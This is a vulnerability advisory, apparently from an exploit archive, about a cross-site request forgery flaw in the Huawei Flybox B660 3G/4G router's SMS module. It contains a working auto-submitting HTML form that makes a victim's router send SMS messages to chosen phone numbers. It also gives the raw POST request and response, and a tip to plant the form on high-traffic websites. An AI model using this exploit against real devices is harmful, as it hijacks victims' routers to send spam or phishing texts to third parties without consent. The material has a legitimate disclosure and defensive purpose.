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Huawei Flybox B660 - Cross-Site Request Forgery Vulnerability
[Document Title:
===============
Huawei Flybox B660 - (POST SMS) CSRF Web Vulnerability
Product & Service Introduction:
===============================
The Huawei B660 has a web interface for configuration. You can use any web browser you like to login to the Huawei B660.
(Copy of the Homepage: http://setuprouter.com/router/huawei/b660/manual-1184.pdf )
Affected Product(s):
====================
Huawei
Product: Flybox - Router (Web-Application) B660 3G/4G
Technical Details & Description:
================================
A remote cross-site request forgery vulnerability has been discovered in the official Huawei Flybox B660 3G/4G router product series.
The security vulnerability allows a remote attacker to perform unauthenticated application requests with non-expired browser session
credentials to unauthorized execute specific backend functions.
The vulnerability is located in the `/htmlcode/html/sms.cgi` and `/htmlcode/html/sms_new.asp` modules and the `RequestFile` parameter
of the localhost path URL. Remote attackers are able to send sms messages as malicious bomb to other phone numbers from any Huawei
Flybox B660 via unauthenticated POST method request.
The security risk of the csrf web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.4.
Exploitation of the csrf web vulnerability requires a low privilege web-application user account and medium or high user interaction.
Successful exploitation of the vulnerability results in unauthenticated application requests and manipulation of affected or connected
device backend modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] /htmlcode/html/sms.cgi
[+] /htmlcode/html/sms_new.asp
Vulnerable Parameter(s):
[+] RequestFile
Software version of the modem:
1066.12.15.01.200
Hardware version of the modem:
WLB3TCLU
Name of the device:
B660
Hardware version of the router:
WL1B660I001
Software version of the router:
1066.11.15.02.110sp01
Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers without privilege web-application user account and with medium or high user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC: CSRF Exploit
<html>
<!-- CSRF PoC By SaifAllah benMassaoud -->
<body>
<form id="test" action="http://localhost/htmlcode/html/sms.cgi?RequestFile=/htmlcode/html/sms_new.asp" method="POST">
<input type="hidden" name="action" value="Send" />
<input type="hidden" name="action" value="Send" />
<input type="hidden" name="sms_text_mode" value="1" />
<input type="hidden" name="sms_content_1" value="[Malicious Site + IP Adress/Redirection + File]:=[download]" />
<input type="hidden" name="sms_num" value="1" />
<input type="hidden" name="phone_numbers" value="[Victim PhoneNumber]" />
<input type="hidden" name="page" value="sms_new.asp" />
</form>
<script>document.getElementById('test').submit();</script>
</body>
</html>
--- PoC Session Logs [POST] ---
/htmlcode/html/sms.cgi?RequestFile=/htmlcode/html/sms_new.asp HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.4.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/htmlcode/html/sms.cgi?RequestFile=/htmlcode/html/sms.asp
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2059
action=Send&action=Send&sms_text_mode=1&sms_content_1=Malicious Site + IP Adress/Redirection + File:=download&sms_num=1&station=
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&phone_numbers=[Victim PhoneNumber]&page=sms_new.asp
HTTP/1.1 200 OK
CACHE-CONTROL: no-cache
Content-Type: text/html
Content-Length: 364
<html><script src="http://cakecdn.info/ad_20160927.js?ver=1&channel=1" id="{6AF30038-1A5F-46F9-AE73-455BB857D493}"></script>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>replace</title>
<body>
<script language="JavaScript" type="text/javascript">
var pageName = '/';
top.location.replace(pageName);
</script>
</body>
</html>
Note: Attackers can as well put an auto-submit java-script generated form inside an high traffic website tp exploit.
Security Risk:
==============
The security risk of the cross site request forgery vulnerability in the Huawei Flybox B660 3G/4G router product series is estimated as medium. (CVSS 4.4)
# 0day.today [2024-12-25] #